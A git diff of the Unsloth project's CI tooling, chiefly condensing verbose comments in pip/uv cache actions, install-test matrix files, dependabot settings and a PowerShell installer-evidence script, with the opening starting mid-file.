# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Restore half of the pip cache, replacing `actions/setup-python`'s built-in
-# `cache: 'pip'`.
-#
-# The built-in cache is read-write and saves from its own post-step on WHATEVER
-# REF the job ran on. A cache written on a pull_request ref can only be restored
-# by re-runs of that same pull request ("caches created on the base branch are
-# available to the topic branch, but not the other way round"), so every PR
-# writes a ~700MB copy that nobody else can ever read, and that copy competes for
-# the shared 50 GiB budget against main's copy, which every PR CAN read. Measured
-# on this repo: setup-python entries were 19.45 GiB across 40 entries, 15.49 GiB
-# of it on PR refs, with four interpreter keys duplicated 4-6 times each.
-#
-# Nothing about that is visible as a failure. Over quota, GitHub evicts
-# least-recently-used, so main's copy goes, the next PR misses, downloads, and
-# writes its own copy. CI just gets slower and everyone assumes that is the cost.
-# The repo had already diagnosed and fixed this exact loop for the GGUF caches
-# (see the save step in studio-inference-smoke.yml) and for the Playwright
-# browsers; setup-python was left doing it because its built-in cache has no
-# save-gating knob. Splitting restore from save is how you get one.
-#
-# Pair this with pip-cache-save AFTER the install, passing the outputs below.
+# Replaces setup-python's built-in pip cache, which saves on PR refs and evicts main's copy.
+# Pair with pip-cache-save after the install.
name: Restore the pip cache
description: >-
@@ -77,8 +58,7 @@ outputs:
runs:
using: composite
steps:
- # `pip cache dir` rather than a hardcoded path per OS: it differs on Linux,
- # macOS and Windows, and pip itself is the authority on where it put things.
+ # Ask pip for the cache dir; it differs per OS.
- name: Resolve the pip cache directory and key
id: probe
shell: bash
@@ -86,46 +66,22 @@ runs:
set -euo pipefail
dir="$(python -m pip cache dir)"
echo "dir=$dir" >> "$GITHUB_OUTPUT"
- # Minor, deliberately not patch. Nothing in this repo pins a patch version:
- # 53 steps ask for '3.12' and the one matrix offers '3.11' and '3.13', so the
- # patch is whatever the hosted image happens to ship that week. Carrying it in
- # the key duplicated the WHOLE cache every time GitHub bumped it, which is not
- # a hypothetical -- measured 2026-08-20, two entries differing in nothing but
- # 3.12.13 vs 3.12.14 held 10.85 and 11.21 GiB, 44% of the repo's 50 GiB budget
- # between them, against a total that had climbed back to 99.1% full. The same
- # pairing showed up in 10 of the 12 pip entries.
- #
- # Safe because of WHAT is cached, the same argument the uv cache rests on: pip
- # stores downloaded wheels, tagged cp312 and so ABI-compatible across every
- # 3.12.x, behind an HTTP cache addressed by URL and hash. A stale entry cannot
- # serve wrong content; the worst it can do is miss.
+ # Minor version only: patch bumps duplicated the whole cache, and cp3XX wheels are ABI-compatible.
pyver="$(python -c 'import sys; print("%d.%d" % sys.version_info[:2])')"
hash="${{ hashFiles(inputs.key-files) }}"
- # Empty means the globs matched nothing, which would silently collapse
- # every job onto one key. Loud here, where the cause is one line away.
+ # Empty means the globs matched nothing, collapsing every job onto one key.
if [ -z "$hash" ]; then
echo "::error::pip-cache: key-files matched no file, so the cache key would not distinguish anything. Given: ${{ inputs.key-files }}"
exit 1
fi
name="${{ inputs.name }}"
- # An empty or surprising segment collapses distinct jobs onto one key, or
- # breaks the janitor's prefix grouping. Both fail silently, so check here.
case "$name" in
''|*[!a-z0-9-]*)
echo "::error::pip-cache: name must be lowercase letters, digits and dashes. Given: '$name'"
exit 1 ;;
esac
- # `v2` is a real load-bearing segment, not decoration. Keys minted before
- # `name` existed look like `pip-Linux-X64-py3.12-<hash>`, and `Linux` is a
- # valid name, so nothing distinguishes an old key from a new one whose job
- # happens to be called `linux`. The janitor matches `pip-v2-` only, which
- # leaves every legacy entry untouched to expire on its own 7-day idle
- # timer rather than being ranked against keys it has nothing to do with.
- #
- # Emitted separately so the restore-key fallback and the janitor's
- # grouping are built from the same string as the key, not a copy that
- # can drift.
+ # `v2` distinguishes new keys from legacy ones for the janitor, which matches `pip-v2-` only.
prefix="pip-v2-${name}-${{ runner.os }}-${{ runner.arch }}-py${pyver}-"
echo "prefix=$prefix" >> "$GITHUB_OUTPUT"
echo "key=${prefix}${hash}" >> "$GITHUB_OUTPUT"
@@ -133,20 +89,10 @@ runs:
- name: Restore the pip cache
id: restore
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
- # A cache is an optimisation; a cache service blip must not fail the job.
continue-on-error: true
with:
path: ${{ steps.probe.outputs.dir }}
key: ${{ steps.probe.outputs.key }}
- # WITH a prefix fallback, unlike the frontend-dist cache. A dist cache is
- # a build output: the wrong generation is wrong, so only an exact key will
- # do. This is pip's HTTP cache, addressed by URL and content hash, where
- # the previous generation is the current one minus whatever moved. A
- # dependency bump then costs the changed wheels instead of all of them,
- # and a stale entry cannot serve wrong content -- the worst it can do is
- # miss. Same argument that lets the key carry 3.12 rather than 3.12.14.
- #
- # `name` is inside the prefix, so the fallback stays inside this job's own
- # family and never hands one job the wheels another downloaded.
+ # Prefix fallback is safe here: pip's cache is content-addressed, so stale entries only miss.
restore-keys: |
${{ steps.probe.outputs.prefix }}
diff --git a/.github/actions/pip-cache-save/action.yml b/.github/actions/pip-cache-save/action.yml
index 18e729a45df..a3e15cfd2fa 100644
--- a/.github/actions/pip-cache-save/action.yml
+++ b/.github/actions/pip-cache-save/action.yml
@@ -34,9 +34,7 @@ runs:
using: composite
steps:
- name: Save the pip cache
- # always(), so a cache earned by a successful install is not thrown away
- # because a LATER step in the job failed. The install itself is what fills
- # this directory, and a failed test does not make its downloads wrong.
+ # always(): a later failing step does not invalidate downloads from a successful install.
if: >-
always() && (github.ref == 'refs/heads/main' || (github.ref == 'refs/heads/upstream-main' && github.repository != 'unslothai/unsloth'))
&& inputs.cache-hit != 'true'
diff --git a/.github/actions/uv-cache-restore/action.yml b/.github/actions/uv-cache-restore/action.yml
index 42bf018574e..a7b53fcad5b 100644
--- a/.github/actions/uv-cache-restore/action.yml
+++ b/.github/actions/uv-cache-restore/action.yml
@@ -1,17 +1,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# The uv download cache, restore half. One definition of the key, for the same reason
-# frontend-dist-restore has one: the Windows jobs run install.ps1 from a hand-written pwsh
-# step and never go through install-unsloth-local, so a pasted copy would drift silently.
-# A download cache is the safest kind: uv's is content-addressed by URL and hash, so a
-# stale entry cannot serve wrong content, only miss. Caching the VENV instead would have to
-# reason about an editable overlay, a moving `unsloth-zoo @ git+main` and absolute paths
-# baked into console scripts; tests/studio/test_uv_cache_discipline.py pins that
-# distinction and the cold-install lanes that must never adopt this.
-# UV_CACHE_DIR is set explicitly so one config covers Linux, macOS and Windows, and
-# exported so install.sh, install.ps1 and studio/setup.* inherit it; install.ps1 preserves
-# a custom value. ROOT-CHECKOUT ONLY: the path below is workspace-relative.
+# Restore half of the uv download cache; the single definition of the key (Windows jobs use it too).
+# UV_CACHE_DIR is exported so the installers inherit it. ROOT-CHECKOUT ONLY.
name: Restore the uv download cache
description: >-
@@ -36,9 +27,7 @@ runs:
echo "UV_CACHE_DIR=${{ github.workspace }}/.uv-cache" >> "$GITHUB_ENV"
mkdir -p "${{ github.workspace }}/.uv-cache"
- # Keyed on what decides the resolution, with a prefix fallback: a near-miss still
- # supplies almost every wheel. A download cache wants restore-keys for exactly that
- # reason, where a venv cache must not have them. runner.os: wheels differ per platform.
+ # Prefix fallback is fine for a download cache; a venv cache must never have restore-keys.
- name: Restore the uv download cache
id: restore
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
diff --git a/.github/actions/uv-cache-save/action.yml b/.github/actions/uv-cache-save/action.yml
index cdc8c883ca2..f8d853673f8 100644
--- a/.github/actions/uv-cache-save/action.yml
+++ b/.github/actions/uv-cache-save/action.yml
@@ -1,14 +1,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# The uv download cache, save half. Paired with uv-cache-restore, which owns the key.
-# Default branch only: a PR-scoped entry is restorable only by re-runs of that same PR,
-# while every PR can restore from main, so saving on PRs spends a near-full budget to evict
-# main's copy, the one everyone reads. A hit is not re-uploaded either.
-# `uv cache prune --ci` first: uv keeps built wheels AND unpacked source artifacts, only the
-# former worth carrying, so without it the entry grows without bound and re-opens the
-# eviction thrash the GGUF caches were fixed for. Best effort: an older uv without `--ci`,
-# or a uv off this step's PATH, must not fail an install that already succeeded.
+# Save half of the uv cache. Default branch only, and not on a hit.
+# `uv cache prune --ci` first so the entry does not grow without bound; best effort.
name: Save the uv download cache
description: >-
diff --git a/.github/ci/clean-machine-matrix.yml b/.github/ci/clean-machine-matrix.yml
index 150717c20cb..ecf91817cbf 100644
--- a/.github/ci/clean-machine-matrix.yml
+++ b/.github/ci/clean-machine-matrix.yml
@@ -1,56 +1,37 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# The legs of .github/workflows/clean-machine-install-ci.yml, one list per matrix job.
-# `pr: true` legs run on pull_request; everything runs nightly, on push to main and on
-# workflow_dispatch. The `select` job strips `pr`, so a leg's other keys are exactly what
-# the steps read as `matrix.<key>`. macOS is capped at five concurrent jobs account-wide
-# and the full set (20 jobs, 7 macOS) never once finished on a PR before the next push
-# cancelled it, so the subset keeps one leg per claim and defers OS/arch-only legs.
-# tests/studio/test_install_matrix_selection.py pins the counts and the keys.
+# `pr: true` legs run on pull_request; all run nightly, on main and on dispatch.
+# Counts and keys are pinned by tests/studio/test_install_matrix_selection.py.
macos:
- # `overlay` decides whether this ref's Python is under test; the pipe legs stay on the
- # released package on purpose.
- # The reported failure, in the `curl | sh` shape users run, with torch as a consumer
- # gets: the only leg that can see a truncated script or a curl: (56) from an early exit.
+ # `overlay` decides whether this ref's Python is under test; pipe legs use the released package.
- {os: macos-15, mode: mask, delivery: pipe, flags: '', experimental: false, overlay: false, pr: true}
- {os: macos-15, mode: mask, delivery: file, flags: '', experimental: false, overlay: true, pr: true}
- # What the desktop app runs: no tty, stdin closed, TAURI markers on, legacy ~/.unsloth.
+ # What the desktop app runs: no tty, stdin closed, TAURI markers on.
- {os: macos-15, mode: mask, delivery: tauri, flags: '', experimental: false, overlay: true, pr: false}
- # Toolchain present but logged: uv's managed-libpython self-ID patch is the one call
- # allowed. No overlay: setuptools-scm's editable build would call git itself.
+ # No overlay: setuptools-scm's editable build would call git itself.
- {os: macos-15, mode: trace, delivery: file, flags: '', experimental: false, overlay: false, pr: true}
- # --no-torch is the one macOS path that can still want a compiler (no guaranteed cp313
- # arm64 sentencepiece wheel), so probe it apart from the default path.
+ # --no-torch may still need a compiler on macOS (no guaranteed cp313 arm64 sentencepiece wheel).
- {os: macos-15, mode: mask, delivery: file, flags: '--no-torch', experimental: true, overlay: true, pr: false}
- # The next macOS image, same asserts as the macos-15 file leg.
- {os: macos-26, mode: mask, delivery: file, flags: '', experimental: true, overlay: true, pr: false}
- # Intel pins python 3.12 and its /usr/bin/git is not CLT-provided, so it survives
- # masking. Informational only.
+ # Intel's /usr/bin/git is not CLT-provided, so it survives masking.
- {os: macos-15-intel, mode: mask, delivery: file, flags: '', experimental: true, overlay: true, allow_working: 'git', pr: false}
linux:
- # Root + apt: _smart_apt_install self-heals from an image with no curl, git, gcc or
- # cmake. Nightly only: the nonroot leg below proves everything this one does and more.
- label: ubuntu2404-root
image: ubuntu:24.04
runner: ubuntu-latest
experimental: false
overlay: true
pr: false
- # The arm64 dimension of the root leg.
- label: ubuntu2404-arm-root
image: ubuntu:24.04
runner: ubuntu-24.04-arm
experimental: false
overlay: true
pr: false
- # No elevation, but WITH the transport the one-liner needs: no elevation path anywhere
- # on the image, no toolchain, ca-certificates + curl and nothing else. Since #7547 the
- # optional set never escalates, so this must install end to end off prebuilt llama.cpp.
- # overlay: true because the RELEASED install_python_stack.py has no "skip triton kernels
- # when git is missing" guard and would die at the final step on release lag alone.
+ # overlay: true because the released install_python_stack.py lacks the missing-git triton guard.
- label: ubuntu2404-nonroot
image: ubuntu:24.04
runner: ubuntu-latest
@@ -58,10 +39,7 @@ linux:
overlay: true
nonroot: true
pr: true
- # The same premise with the OTHER transport. install.sh falls back to wget everywhere it
- # prefers curl (729-738, 1019-1027, 3064-3067) and calls the transport missing only when
- # BOTH are gone (2077-2079), so a wget-only box (Debian netinst default) is supported on
- # paper and had never been run: the row above provisions curl, which won every probe.
+ # Same premise with wget as the only transport.
- label: ubuntu2404-nonroot-wget
image: ubuntu:24.04
runner: ubuntu-latest
@@ -70,8 +48,7 @@ linux:
nonroot: true
wget_only: true
pr: false
- # No elevation AND no transport, so failing is correct: pin the exact message and prove
- # it actionable rather than a bare `curl: (56)`. No overlay: it never reaches a venv.
+ # No elevation and no transport: failing is correct; this pins the error message.
- label: ubuntu2404-nonroot-notransport
image: ubuntu:24.04
runner: ubuntu-latest
@@ -80,8 +57,7 @@ linux:
nonroot: true
no_transport: true
pr: true
- # Non-apt: hard-fails at install.sh:2034 today. Tolerate the install STEP, not the job:
- # job-level continue-on-error would swallow the outcome assertion too.
+ # Non-apt fails today. Tolerate the install step, not the job, or the outcome assertion is swallowed too.
- label: fedora41
image: fedora:41
runner: ubuntu-latest
@@ -96,20 +72,13 @@ windows:
experimental: false
overlay: true
pr: true
- # The no-winget path (LTSC / Server / managed corporate) falls back to python.org +
- # astral.sh and is where Ensure-VCRedist silently does not run, leaving torch unable to
- # load: hence the explicit `import torch` assert below. #7549 relaxed setup.ps1's
- # unconditional git gate (1750-1759), and the assert proves it took the relaxed branch
- # rather than passing on git leaking back onto PATH.
+ # The no-winget path skips Ensure-VCRedist, hence the explicit `import torch` assert.
- os: windows-latest
winget: 'masked'
experimental: false
overlay: true
pr: false
- # Windows on ARM gets a native ARM64 CPython and torchaudio publishes no win_arm64 wheel
- # (nor do pyarrow and hf-transfer), so PyTorch could not resolve until #7549 made the
- # installer prefer an emulated x64 interpreter (install.ps1:1160-1253, 1335-1353). The
- # assert below checks that outcome, not the log line announcing it.
+ # Windows on ARM must end up on an emulated x64 interpreter; the assert checks that outcome.
- os: windows-11-arm
winget: 'visible'
experimental: false
@@ -117,12 +86,9 @@ windows:
pr: false
windows_container_install:
- # The consumer path: install.ps1 from this ref, unsloth from PyPI, so studio/setup.ps1
- # comes out of the RELEASED wheel rather than this ref's. Both rows gate.
+ # Consumer path: studio/setup.ps1 comes from the released wheel.
- overlay: false
pr: false
- # This ref's studio/setup.ps1 and install_python_stack.py, via UNSLOTH_CI_SOURCE_OVERLAY
- # (install.ps1:2643); without it a branch changing setup.ps1 proves nothing. On PRs too:
- # the only environment with no preinstalled VC++ runtime.
+ # This ref's setup.ps1 via UNSLOTH_CI_SOURCE_OVERLAY; without it a setup.ps1 change proves nothing.
- overlay: true
pr: true
diff --git a/.github/ci/interrupted-install-matrix.yml b/.github/ci/interrupted-install-matrix.yml
index 3eae7bfcb1a..c054cf7f4c9 100644
--- a/.github/ci/interrupted-install-matrix.yml
+++ b/.github/ci/interrupted-install-matrix.yml
@@ -1,42 +1,22 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# The legs of .github/workflows/interrupted-install-ci.yml, one list per matrix job.
-# `pr: true` legs run on pull_request; everything runs nightly and on workflow_dispatch.
-# Every leg is a hard gate, with no continue-on-error cell: a leg allowed to fail is a
-# warning wearing a red icon, and the claim here is that a killed install cannot report
-# itself healthy. The PR subset (10 legs, 6 macOS, five concurrent macOS jobs account-wide)
-# takes one leg per verdict family on different operating systems: `studio-deps`, a partial
-# venv that reports HEALTHY, and `torch`, a complete venv with nothing in it where the
-# re-run must repair rather than short-circuit on the version fast path.
-# tests/studio/test_install_matrix_selection.py pins the counts and the keys.
+# `pr: true` legs run on pull_request. Every leg is a hard gate.
+# Counts and keys are pinned by tests/studio/test_install_matrix_selection.py.
interrupt:
- # A marker, never a delay: every label prints BEFORE its work, so the kill lands inside
- # the phase, while a timed wait bets on phase duration and twice turned a leg into a
- # duplicate of the next one. This one is the reported case, killed installing structlog.
+ # Kill on a printed marker, never a delay: timed waits landed in the wrong phase.
- {os: macos-15, label: studio-deps, marker: 'Unsloth Studio deps', pr: true}
- # Coarse phases, earliest to latest, each leaving a different partial venv. No venv leg:
- # "Creating virtual environment" runs ~0.1s, shorter than any poll, so its kill always
- # landed in the NEXT phase and the leg duplicated this one.
+ # No venv leg: that phase is shorter than any poll interval.
- {os: macos-15, label: torch, marker: '\[TAURI:STEP\] Installing PyTorch', pr: false}
- {os: macos-15, label: unsloth, marker: '\[TAURI:STEP\] Installing Unsloth', pr: false}
- # The latest phase, the closest to a complete-looking install.
- {os: macos-15, label: setup, marker: '\[TAURI:STEP\] Running Unsloth setup', pr: false}
- # Other dependency-pass sub-steps around the named one. No pip-bootstrap leg (over before
- # a poll can see it) and no base-packages leg (--local sets skip_base, so it never prints
- # and the leg ran to completion, proving nothing).
- {os: macos-15, label: unsloth-extras, marker: 'unsloth extras', pr: false}
- # Killed before install_python_stack.py writes the manifest.
- {os: macos-15, label: data-designer, marker: 'data designer deps', pr: false}
- # Linux: same teardown path, different package manager and process semantics.
- {os: ubuntu-latest, label: studio-deps, marker: 'Unsloth Studio deps', pr: false}
- {os: ubuntu-latest, label: torch, marker: '\[TAURI:STEP\] Installing PyTorch', pr: true}
-# Windows has no process groups, so the kill path differs. Both legs are nightly only:
-# the verdict families are covered on PRs by the POSIX legs.
interrupt_windows:
- # install.ps1:121 parses `--no-torch`; `-SkipTorch` matches no case there and is
- # silently dropped. The torch leg must NOT skip torch or its marker never appears.
+ # install.ps1 parses --no-torch and silently drops -SkipTorch; the torch leg must NOT skip torch.
- {label: studio-deps, marker: 'Unsloth Studio deps', installArgs: '--tauri --no-torch --local', pr: false}
- {label: torch, marker: 'Installing PyTorch', installArgs: '--tauri --local', pr: false}
diff --git a/.github/dependabot.yml b/.github/dependabot.yml
index 5ebf5eddb7f..c731b988f0c 100644
--- a/.github/dependabot.yml
+++ b/.github/dependabot.yml
@@ -11,10 +11,7 @@ updates:
schedule:
interval: "weekly"
cooldown:
- # github-actions refs are git tags / SHAs, not semver -- the
- # `semver-minor-days` / `semver-patch-days` knobs are rejected
- # by Dependabot's validator for this ecosystem. Only the
- # `default-days` floor applies.
+ # Semver cooldown knobs are rejected for github-actions; only default-days applies.
default-days: 7
groups:
actions:
@@ -26,15 +23,7 @@ updates:
applies-to: security-updates
patterns: ["*"]
- # Removed a stray `package-ecosystem: "bun"` entry for
- # /studio/frontend: that path has no bun.lock / bun.lockb, so
- # Dependabot's bun ecosystem silently no-ops on it. The actual
- # lockfile committed at /studio/frontend is package-lock.json
- # (npm), and the npm entry further below already catches
- # npm_and_yarn security advisories for that directory. Version
- # updates for /studio/frontend stay suppressed (open-pull-
- # requests-limit: 0 in that entry) -- security PRs flow through
- # regardless. Add a real bun entry IF and WHEN bun.lock lands.
+ # No bun entry: /studio/frontend has no bun.lock, so it would silently no-op.
- package-ecosystem: "npm"
directory: "/studio/backend/core/data_recipe/oxc-validator"
@@ -51,8 +40,6 @@ updates:
applies-to: security-updates
patterns: ["*"]
- # pip + cargo grouped weekly; the *-security siblings batch
- # advisories that would otherwise each open their own PR.
- package-ecosystem: "pip"
directory: "/"
schedule:
@@ -99,13 +86,8 @@ updates:
default-days: 7
semver-minor-days: 3
semver-patch-days: 3
- # Tauri renders Unsloth on Linux through GTK3 and the gtk-rs GTK3
- # bindings are archived at 0.18.2, so `gtk`/`gdk` will never ship
- # 0.19+. Moving `glib`/`gdk-pixbuf` past 0.18 puts two
- # incompatible copies in the tree and native_clipboard.rs stops
- # compiling: `gtk::Clipboard::wait_for_image` returns a 0.18
- # `Pixbuf` our `gdk_pixbuf` no longer accepts. This also
- # suppresses security PRs above 0.18, leaving alerts only.
+ # gtk-rs GTK3 bindings are frozen at 0.18; newer glib/gdk-pixbuf break native_clipboard.rs.
+ # This also suppresses security PRs above 0.18, leaving alerts only.
ignore:
- dependency-name: "glib"
versions: [">= 0.19"]
@@ -139,16 +121,7 @@ updates:
applies-to: security-updates
patterns: ["*"]
- # /studio/frontend npm dependencies. Version-update PRs are
- # deliberately suppressed (open-pull-requests-limit: 0) -- the
- # frontend dep tree is large, the lockfile is the authoritative
- # pin, and `min-release-age=7` in studio/frontend/.npmrc already
- # blocks fresh tarballs at install time. Security advisories
- # arrive via GitHub's npm_and_yarn channel and are NOT capped by
- # `open-pull-requests-limit` per Dependabot's documented
- # behaviour; they flow through this entry, group together, and
- # still respect the cooldown below so we never ingest a tarball
- # that was hot-published less than 3 days ago.
+ # Version updates suppressed (limit 0); security PRs still flow and are not capped by the limit.
- package-ecosystem: "npm"
directory: "/studio/frontend"
schedule:
diff --git a/.github/scripts/Collect-InstallerEvidence.ps1 b/.github/scripts/Collect-InstallerEvidence.ps1
index 76b29df6795..1acab84851f 100644
--- a/.github/scripts/Collect-InstallerEvidence.ps1
+++ b/.github/scripts/Collect-InstallerEvidence.ps1
@@ -27,25 +27,16 @@
[CmdletBinding()]
param(
- # Where the installer put Studio.
[Parameter(Mandatory = $true)][string]$StudioHome,
- # Where the installer put the generated launcher and the Studio data. On a normal-profile
- # install this is %LOCALAPPDATA%\Unsloth Studio, which is OUTSIDE $StudioHome, and
- # launch-studio.ps1 is written there ($appDir = $StudioDataDir, install.ps1:2971). Searching
- # only $StudioHome meant the launcher was absent from every manifest on a normal run.
+ # Normally %LOCALAPPDATA%\Unsloth Studio, outside $StudioHome; launch-studio.ps1 lives here.
[string]$StudioDataDir,
- # Where to write the evidence.
[Parameter(Mandatory = $true)][string]$OutDir,
- # Comma-free list of directories to search for .lnk files. Defaults to the desktop and the
- # user's Start Menu programs folder, which is where install.ps1 writes them.
[string[]]$ShortcutRoot,
- # Set when this is the second install of the same commit: the manifest from the first run is
- # read back and the two compared, so "a reinstall writes nothing" is measured rather than
- # assumed. Several changes in this area touch content-comparison paths.
+ # Second install of the same commit: compare against the first run's manifest.
[string]$CompareAgainst
)
@@ -54,17 +45,13 @@ $ErrorActionPreference = 'Continue'
New-Item -ItemType Directory -Force -Path $OutDir | Out-Null
# ---------------------------------------------------------------------------
-# Shortcuts
# ---------------------------------------------------------------------------
-
if (-not $ShortcutRoot -or $ShortcutRoot.Count -eq 0) {
$ShortcutRoot = @(
[Environment]::GetFolderPath('Desktop'),
[Environment]::GetFolderPath('CommonDesktopDirectory')
)
- # Guarded rather than assumed: Join-Path throws on a null Path, and %APPDATA% is unset off
- # Windows, so composing it unconditionally turned a parse-clean script into one that printed a
- # binding error before doing any work. Observed running this under pwsh on Linux.
+ # %APPDATA% is unset off Windows and Join-Path throws on null.
if ($env:APPDATA) {
$ShortcutRoot += (Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs')
}
@@ -91,16 +78,12 @@ function Get-UnslothRootLabel {
foreach ($entry in $known.GetEnumerator()) {
if ($entry.Value -and $Path -ieq $entry.Value) { return $entry.Key }
}
- # Not one of the known roots: fall back to the leaf, which is still better than nothing, and
- # say so in the label so a reader is not misled into thinking it is canonical.
return "other:" + (Split-Path $Path -Leaf)
}
$shortcuts = New-Object System.Collections.ArrayList
$shell = $null
try {
- # WScript.Shell is the only shortcut reader available to Windows PowerShell 5.1 without
- # IShellLink interop, and it is what the installer itself uses to write them.
$shell = New-Object -ComObject WScript.Shell
} catch {
[void]$shortcuts.Add([ordered]@{
@@ -117,12 +100,7 @@ if ($shell) {
foreach ($file in $found) {
try {
$lnk = $shell.CreateShortcut($file.FullName)
- # Keyed on a canonical root label plus the path RELATIVE to that root, never the
- # absolute path: the two sides run in different workspaces, so an absolute path
- # would differ for a reason that is not a behaviour change. The leaf of the root
- # is not enough on its own -- the per-user and the common Desktop are both called
- # "Desktop", and every Start Menu entry is under "Programs" however deeply it is
- # nested -- so moving a shortcut between them kept the same key and compared equal.
+ # Key on root label + relative path: workspaces differ, and leaf names collide across roots.
$relative = $file.FullName
if ($file.FullName.StartsWith($root, [StringComparison]::OrdinalIgnoreCase)) {
$relative = $file.FullName.Substring($root.Length).TrimStart('\', '/')
@@ -130,9 +108,7 @@ if ($shell) {
[void]$shortcuts.Add([ordered]@{
name = $relative
root = (Get-UnslothRootLabel $root)
- # Same reason the content contracts carry one: a regression that calls Save()
- # unconditionally leaves every property identical, so the manifests compare
- # equal and the reinstall looks like it wrote nothing.
+ # Catches an unconditional Save() that leaves every property identical.
lastWriteUtc = $file.LastWriteTimeUtc.ToString('o')
targetPath = $lnk.TargetPath
arguments = $lnk.Arguments
@@ -151,14 +127,8 @@ if ($shell) {
}
}
-# -Depth, because ConvertTo-Json truncates at 2 by default and silently emits the type name instead
-# of the object. An evidence file that says "System.Collections.Hashtable" compares equal to another
-# one that says the same thing, which is a green run that measured nothing.
-#
-# Always an array, even for one entry. ConvertTo-Json unwraps a single-element collection into a
-# bare object, and -AsArray does not exist on Windows PowerShell 5.1, so the shape of this file
-# would depend on how many shortcuts happened to exist. The consumer also tolerates an object, but
-# evidence whose schema varies with its contents is a trap either way.
+# -Depth because the default of 2 silently emits type names.
+# Always an array: ConvertTo-Json unwraps single elements and 5.1 lacks -AsArray.
$shortcutJson = $shortcuts | ConvertTo-Json -Depth 6
if ($shortcuts.Count -le 1) { $shortcutJson = "[$($shortcutJson)]" }
Set-Content -LiteralPath (Join-Path $OutDir 'shortcuts.json') -Value $shortcutJson -Encoding utf8
@@ -169,24 +139,9 @@ foreach ($s in $shortcuts) {
}
# ---------------------------------------------------------------------------
-# Installed files
# ---------------------------------------------------------------------------
-
-# Content is compared for these two only. They are generated by the installer from templates, so
-# their text is a contract; everything else is either a downloaded binary (compares by hash, which
-# drifts with upstream) or a venv (tens of thousands of files, and not what this lane is about).
-# Each contract is a LIST of places it can legitimately live, because the layout depends on the
-# redirect mode: a normal install puts the launcher and the shim at the install root, and an
-# env-override install puts them under share\ and bin\. Looking in one place only meant that under
-# the other layout both files were silently absent from the evidence, leaving directory-presence
-# entries behind and no content comparison at all for two of the three contracts.
-#
-# Windows contracts only. studio.conf was listed here and is never written on Windows: the only
-# writer in the repository is install.sh, and both install.ps1 and studio/setup.ps1 merely Test-Path
-# it (install.ps1:1652, :5215, studio/setup.ps1:4486). Listing it was harmless while an unresolved
-# contract was silently skipped, and became fatal the moment that turned into a collection error,
-# because every clean Windows run would then VOID on a file that is correct to be absent. Anything
-# added here has to be something the WINDOWS installer actually writes.
+# Content is compared only for installer-generated templates, listed per possible layout.
+# Windows-only contracts: listing a file the Windows installer never writes voids every run.
$contentFiles = [ordered]@{
'launch-studio.ps1' = @('launch-studio.ps1', 'share\launch-studio.ps1')
'unsloth.cmd' = @('unsloth.cmd', 'bin\unsloth.cmd')
@@ -195,8 +150,7 @@ $contentFiles = [ordered]@{
$files = [ordered]@{}
$artifactError = $null
-# Ordered, and $StudioHome first, so a layout that has a file in both places reports the one the
-# installer treats as canonical.
+# $StudioHome first so the canonical location wins.
$searchRoots = [ordered]@{ 'home' = $StudioHome }
if ($StudioDataDir -and $StudioDataDir -ne $StudioHome) { $searchRoots['data'] = $StudioDataDir }
@@ -214,12 +168,7 @@ if (Test-Path -LiteralPath $StudioHome) {
if ($full) { break }
}
if (-not $full) {
- # Recorded as an error, not skipped. Skipping removed the contract from both manifests
- # whenever it was missing on both sides -- a shim writer that fails the same way on two
- # identical runners, an endpoint policy that deletes the same generated file, or simply
- # a supported layout nobody listed above -- and the remaining entries kept both maps
- # non-empty, so the key sets matched and the run could report agreement about a file it
- # never looked at. The comparer already voids on a per-file error.
+ # Recorded as an error, not skipped, so a contract missing on both sides cannot compare equal.
$files[$contract] = [ordered]@{
error = "not found at any supported location under " +
(($searchRoots.Keys | ForEach-Object { $_ }) -join ', ')
@@ -229,16 +178,10 @@ if (Test-Path -LiteralPath $StudioHome) {
try {
$item = Get-Item -LiteralPath $full -ErrorAction Stop
$files[$contract] = [ordered]@{
- # Where it actually was. A contract that moves between layouts is itself a
- # behaviour change, and keying on the contract name alone would hide the move.
foundAt = $foundAt
content = (Get-Content -Raw -LiteralPath $full -ErrorAction Stop)
sha256 = (Get-FileHash -LiteralPath $full -Algorithm SHA256).Hash
- # The byte order mark, separately from the text. Get-Content -Raw decodes and
- # discards it, so a candidate that stops writing the UTF-8 BOM on launch-studio.ps1
- # leaves identical text and compared equal. That is not cosmetic: the shortcut runs
- # the launcher under Windows PowerShell 5.1, which reads a BOM-less file as ANSI, so
- # dropping it breaks any install whose paths carry non-ASCII characters.
+ # Track the BOM separately: Get-Content drops it, and PS 5.1 needs it for non-ASCII paths.
bom = (& {
$head = [byte[]]::new(3)
$stream = [System.IO.File]::OpenRead($full)
@@ -248,9 +191,7 @@ if (Test-Path -LiteralPath $StudioHome) {
elseif ($read -ge 2 -and $head[0] -eq 0xFE -and $head[1] -eq 0xFF) { 'utf-16be' }
else { 'none' }
})
- # For idempotency. Content equality cannot show that nothing was WRITTEN, only that
- # the bytes ended up the same, and an unconditional rewrite of identical bytes is
- # precisely the regression the second install exists to catch.
+ # Write time catches an unconditional rewrite of identical bytes.
lastWriteUtc = $item.LastWriteTimeUtc.ToString('o')
length = $item.Length
}
@@ -258,8 +199,6 @@ if (Test-Path -LiteralPath $StudioHome) {
$files[$contract] = [ordered]@{ error = $_.Exception.Message }
}
}
- # The shape of the tree, without its contents: a change that stops creating a directory, or
- # starts creating one, shows up here and nowhere else.
try {
$tops = @(Get-ChildItem -LiteralPath $StudioHome -ErrorAction Stop |
Select-Object -ExpandProperty Name | Sort-Object)
@@ -274,12 +213,8 @@ if (Test-Path -LiteralPath $StudioHome) {
}
# ---------------------------------------------------------------------------
-# Idempotency, when asked
# ---------------------------------------------------------------------------
-
-# Built BEFORE the comparison below, which reads it. Keyed the same way the comparer keys shortcuts,
-# and kept in the artifact manifest rather than in shortcuts.json, because the idempotency
-# comparison reads the first run's artifacts.json.
